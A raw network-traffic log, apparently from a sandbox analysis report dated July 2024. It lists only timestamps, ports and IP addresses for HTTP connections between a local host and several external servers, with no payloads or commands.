Jul 27, 2024 09:25:14.943361044 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.943370104 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.943378925 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.943387032 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.943387032 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.943387032 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.943389893 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.943402052 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.943411112 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.943419933 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.943428993 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.943438053 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.943439960 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.943459034 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.943492889 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.943492889 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.945416927 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.945434093 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.945445061 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.945452929 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.945463896 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.945558071 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.945568085 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.945573092 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.945573092 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.945576906 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.945604086 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.945611954 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.945615053 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.945625067 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.945635080 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.945641994 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.945664883 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.945708990 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.945730925 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.945739985 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.945749998 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.945759058 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.945769072 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.945775986 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.945786953 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.945810080 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.945833921 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:15.114819050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:15.119751930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:15.740319967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:15.740385056 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:15.764755011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:15.769912958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:15.949250937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:15.950601101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:15.984442949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:15.989382029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:16.621507883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:16.621696949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:21.632185936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:21.632240057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:35.670973063 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:35.672064066 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:03.398612976 CEST	49726	80	192.168.2.5	185.215.113.19
Jul 27, 2024 09:26:03.628933907 CEST	49727	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:04.280699015 CEST	80	49726	185.215.113.19	192.168.2.5
Jul 27, 2024 09:26:04.280746937 CEST	80	49727	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:04.280793905 CEST	49726	80	192.168.2.5	185.215.113.19
Jul 27, 2024 09:26:04.280833960 CEST	49727	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:04.281002045 CEST	49726	80	192.168.2.5	185.215.113.19
Jul 27, 2024 09:26:04.281029940 CEST	49727	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:04.285948038 CEST	80	49726	185.215.113.19	192.168.2.5
Jul 27, 2024 09:26:04.285979986 CEST	80	49727	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:05.045823097 CEST	80	49726	185.215.113.19	192.168.2.5
Jul 27, 2024 09:26:05.047501087 CEST	49726	80	192.168.2.5	185.215.113.19
Jul 27, 2024 09:26:05.048305988 CEST	49726	80	192.168.2.5	185.215.113.19
Jul 27, 2024 09:26:05.050806999 CEST	80	49727	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:05.053122044 CEST	80	49726	185.215.113.19	192.168.2.5
Jul 27, 2024 09:26:05.053203106 CEST	49727	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:05.053617954 CEST	49727	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:05.058480024 CEST	80	49727	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:05.302743912 CEST	80	49726	185.215.113.19	192.168.2.5
Jul 27, 2024 09:26:05.303086996 CEST	49726	80	192.168.2.5	185.215.113.19
Jul 27, 2024 09:26:05.305748940 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:05.308960915 CEST	80	49727	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:05.309048891 CEST	49727	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:05.310863018 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:05.310949087 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:05.311079025 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:05.315932035 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:05.423984051 CEST	49727	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:05.424432993 CEST	49729	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:05.429495096 CEST	80	49729	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:05.429548979 CEST	80	49727	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:05.429619074 CEST	49727	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:05.429759979 CEST	49729	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:05.429780006 CEST	49729	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:05.434621096 CEST	80	49729	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.084536076 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.084603071 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.084604979 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.084639072 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.084649086 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.084675074 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.084678888 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.084707975 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.084712982 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.084741116 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.084758043 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.084774971 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.084790945 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.084800959 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.084821939 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.084829092 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.084856987 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.084861040 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.084893942 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.090049028 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.090101957 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.090111971 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.090143919 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.195398092 CEST	80	49729	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.195545912 CEST	49729	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.196086884 CEST	49729	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.201021910 CEST	80	49729	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.234563112 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.234612942 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.234649897 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.234682083 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.234700918 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.234716892 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.234734058 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.234745979 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.234745979 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.234770060 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.234776020 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.234781981 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.234813929 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.235126019 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.235266924 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.235275984 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.235299110 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.235311985 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.235332966 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.235341072 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.235367060 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.235373974 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.235405922 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.235872984 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.235922098 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.235923052 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.235955954 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.235969067 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.235989094 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.235999107 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.236021996 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.236032963 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.236066103 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.236764908 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.236798048 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.236819029 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.236829996 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.236838102 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.236861944 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.236874104 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.236905098 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.239768028 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.239818096 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.239820004 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.239867926 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.239905119 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.239949942 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.382077932 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.382137060 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.382165909 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.382198095 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.382232904 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.382260084 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.382328033 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.382328033 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.382328033 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.382328033 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.382328033 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.382391930 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.382402897 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.382430077 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.382452011 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.382472992 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.382478952 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.382512093 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.382529974 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.382544041 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.382556915 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.382576942 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.382590055 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.382621050 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.382745028 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.382774115 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.382796049 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.382812977 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.382817030 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.382863998 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.382868052 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.382900000 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.382914066 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.382931948 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.382944107 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.382972956 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.383138895 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.383166075 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.383188009 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.383199930 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.383253098 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.383284092 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.383301020 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.383316994 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.383322001 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.383348942 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.383357048 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.383392096 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.383997917 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.384047031 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.384048939 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.384082079 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.384094954 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.384114981 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.384119034 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.384156942 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.384166002 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.384201050 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.384212971 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.384233952 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.384246111 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.384267092 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.384278059 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.384315968 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.384444952 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.384491920 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.384551048 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.384581089 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.384601116 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.384615898 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.384623051 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.384669065 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.384674072 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.384706020 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.384720087 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.384738922 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.384751081 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.384782076 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.386198997 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.386241913 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.386248112 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.386285067 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.386295080 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.386327028 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.386332035 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.386363983 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.386379004 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.386396885 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.386404991 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.386429071 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.386432886 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.386461973 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.386472940 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.386507988 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.387639999 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.387687922 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.387691975 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.387737989 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.387988091 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.388036013 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.388037920 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.388071060 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.388083935 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.388103008 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.388112068 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.388144016 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.388143063 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.388176918 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.388185978 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.388219118 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.445985079 CEST	80	49729	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.446046114 CEST	49729	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.530121088 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.530172110 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.530194998 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.530211926 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.530215025 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.530255079 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.530262947 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.530307055 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.530312061 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.530344963 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.530356884 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.530375957 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.530390024 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.530409098 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.530422926 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.530440092 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.530448914 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.530472040 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.530476093 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.530512094 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.530808926 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.530857086 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.530859947 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.530899048 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.530906916 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.530937910 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.530951977 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.530972004 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.530980110 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.531002998 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.531016111 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.531035900 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.531048059 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.531069040 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.531079054 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.531114101 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.531192064 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.531239033 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.531294107 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.531327963 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.531339884 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.531368971 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.531377077 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.531413078 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.531423092 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.531451941 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.531460047 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.531491995 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.531505108 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.531534910 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.531539917 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.531584024 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.531586885 CEST	80	49728	185.215.113.16	192.168.2.5
